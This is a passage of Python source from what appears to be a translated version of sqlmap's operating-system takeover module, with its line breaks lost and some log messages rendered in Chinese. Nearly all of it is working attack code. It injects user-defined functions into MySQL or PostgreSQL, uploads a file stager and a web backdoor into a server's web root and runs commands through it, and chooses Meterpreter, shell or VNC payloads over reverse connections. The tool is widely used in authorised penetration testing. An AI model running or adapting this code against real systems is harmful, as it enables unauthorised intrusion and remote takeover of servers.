to web backdoor to establish the tunnel" else: infoMsg = "going to use a web backdoor to establish the tunnel" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: # Unset --priv-esc if the back-end DBMS underlying operating # system is not Windows conf.privEsc = False warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" logger.warn(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if setupSuccess: if tunnel == 1: self.pwn(goUdf) elif tunnel == 2: self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: self.cleanup(web=web)
def udfInjectCustom(self): if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): errMsg = "UDF注入功能仅适用于MySQL和PostgreSQL" logger.error(errMsg) return if not isStackingAvailable() and not conf.direct: errMsg = "UDF注入功能需要堆叠(多语句)查询SQL注入" logger.error(errMsg) return self.checkDbmsOs() if not self.isDba(): warnMsg = "所请求的功能可能不起作用,因为当前会话用户不是数据库管理员。" logger.warn(warnMsg) if not conf.shLib: msg = "共享库的本地路径是什么?" while True: self.udfLocalFile = readInput(msg) if self.udfLocalFile: break else: logger.warn("您需要指定共享库的本地路径") else: self.udfLocalFile = conf.shLib if not os.path.exists(self.udfLocalFile): errMsg = "指定的共享库文件不存在" raise SqlmapFilePathException(errMsg) if not self.udfLocalFile.endswith( ".dll") and not self.udfLocalFile.endswith(".so"): errMsg = "共享库文件必须以'.dll'或'.so'结尾" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS): errMsg = "您提供了共享对象.so作为共享库,但数据库底层操作系统是Windows。" raise SqlmapMissingMandatoryOptionException(errMsg) elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX): errMsg = "您提供了一个动态链接库.dll作为共享库,但是底层操作系统的数据库是Linux" raise SqlmapMissingMandatoryOptionException(errMsg) self.udfSharedLibName = os.path.basename( self.udfLocalFile).split(".")[0] self.udfSharedLibExt = os.path.basename( self.udfLocalFile).split(".")[1] msg = "要从共享库创建多少用户定义的函数?" while True: udfCount = readInput(msg, default='1') if udfCount.isdigit(): udfCount = int(udfCount) if udfCount <= 0: logger.info("nothing to inject then") return else: break else: logger.warn("无效值,仅允许数字") for x in xrange(0, udfCount): while True: msg = "what is the name of the UDF number %d? " % (x + 1) udfName = readInput(msg) if udfName: self.udfs[udfName] = {} break else: logger.warn("您需要指定UDF的名称") if Backend.isDbms(DBMS.MYSQL): defaultType = "string" elif Backend.isDbms(DBMS.PGSQL): defaultType = "text" self.udfs[udfName]["input"] = [] msg = "UDF '%s'有多少输入参数?(默认值为1)" % udfName while True: parCount = readInput(msg, default='1') if parCount.isdigit() and int(parCount) >= 0: parCount = int(parCount) break else: logger.warn("无效值,只允许数字 >= 0") for y in xrange(0, parCount): msg = "输入参数号码%d的数据类型是什么?(默认为%s类型) " % ((y + 1), defaultType) while True: parType = readInput(msg, default=defaultType).strip() if parType.isdigit(): logger.warn("您需要指定参数的数据类型") else: self.udfs[udfName]["input"].append(parType) break msg = "what is the data-type of the return " msg += "value? (default: %s) " % defaultType while True: retType = readInput(msg, default=defaultType) if isinstance(retType, basestring) and retType.isdigit(): logger.warn("您需要指定返回值的数据类型") else: self.udfs[udfName]["return"] = retType break success = self.udfInjectCore(self.udfs) if success is False: self.cleanup(udfDict=self.udfs) return False msg = "你现在想要注入用户定义的函数吗?? [Y/n/q] " choice = readInput(msg, default='Y').upper() if choice == 'N': self.cleanup(udfDict=self.udfs) return elif choice == 'Q': self.cleanup(udfDict=self.udfs) raise SqlmapUserQuitException while True: udfList = [] msg = "你想调用哪个UDF?" for udf in self.udfs.keys(): udfList.append(udf) msg += "\n[%d] %s" % (len(udfList), udf) msg += "\n[q] Quit" while True: choice = readInput(msg).upper() if choice == 'Q': break elif isinstance(choice, basestring) and choice.isdigit( ) and int(choice) > 0 and int(choice) <= len(udfList): choice = int(choice) break elif isinstance(choice, int) and choice > 0 and choice <= len(udfList): break else: warnMsg = "无效值,只允许数字 >= 1 and <= %d " % len(udfList) logger.warn(warnMsg) if not isinstance(choice, int): break cmd = "" count = 1 udfToCall = udfList[choice - 1] for inp in self.udfs[udfToCall]["input"]: msg = "参数号 %d (数据类型: %s)的值是多少 " % (count, inp) while True: parValue = readInput(msg) if parValue: if "int" not in inp and "bool" not in inp: parValue = "'%s'" % parValue cmd += "%s," % parValue break else: logger.warn("您需要指定参数的值") count += 1 cmd = cmd[:-1] msg = "你想要检索UDF的返回值吗? [Y/n] " if readInput(msg, default='Y', boolean=True): output = self.udfEvalCmd(cmd, udfName=udfToCall) if output: conf.dumper.string("return value", output) else: dataToStdout("No return value\n") else: self.udfExecCmd(cmd, udfName=udfToCall, silent=True) msg = "do you want to call this or another injected UDF? [Y/n] " if not readInput(msg, default='Y', boolean=True): break self.cleanup(udfDict=self.udfs)
def webInit(self): """ This method is used to write a web backdoor (agent) on a writable remote directory within the web server document root. """ if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: return self.checkDbmsOs() default = None choices = list(getPublicTypeMembers(WEB_API, True)) for ext in choices: if conf.url.endswith(ext): default = ext break if not default: default = WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP message = "which web application language does the web server " message += "support?\n" for count in xrange(len(choices)): ext = choices[count] message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else "")) if default == ext: default = count + 1 message = message[:-1] while True: choice = readInput(message, default=str(default)) if not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): logger.warn("invalid value, it must be between 1 and %d" % len(choices)) else: self.webApi = choices[int(choice) - 1] break directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = sorted(set(directories)) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) stagerContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False for directory in directories: self.webStagerFilePath = ntToPosixSlashes( os.path.join(directory, stagerName)) if success: break uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath( directory) and not directory.startswith('/'): directory = "/%s" % directory else: directory = directory[2:] if isWindowsDriveLetterPath( directory) else directory # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE technique infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' technique" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload technique if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION technique" logger.info(infoMsg) handle, filename = mkstemp() os.fdopen(handle).close( ) # close low level handle (causing problems later) with open(filename, "w+") as f: _ = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) _ = _.replace( "WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) f.write(utf8encode(_)) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin( self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Extra check - required if not uploaded: self.webBaseUrl = "%s://%s:%d/" % (conf.scheme, conf.hostname, conf.port) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" not in uplPage: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webApi == WEB_API.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult( EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult( VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webApi == WEB_API.ASP: match = re.search( r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace( "WRITABLE_DIR", backdoorDirectory).replace( "RUNCMD_EXE", _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join( paths.SQLMAP_SHELL_PATH, 'runcmd.exe_')) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " getOutput = readInput(message, default="Y") if getOutput in ("y", "Y"): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = ntToPosixSlashes( os.path.join(self.webBaseUrl, backdoorName)) self.webDirectory = directory self.webBackdoorFilePath = ntToPosixSlashes( os.path.join(directory, backdoorName)) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) success = True break
def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn( "beware that the VNC injection might not work") break elif Backend.isDbms( DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") if self.connectionStr.startswith( "reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ( "S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warn(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr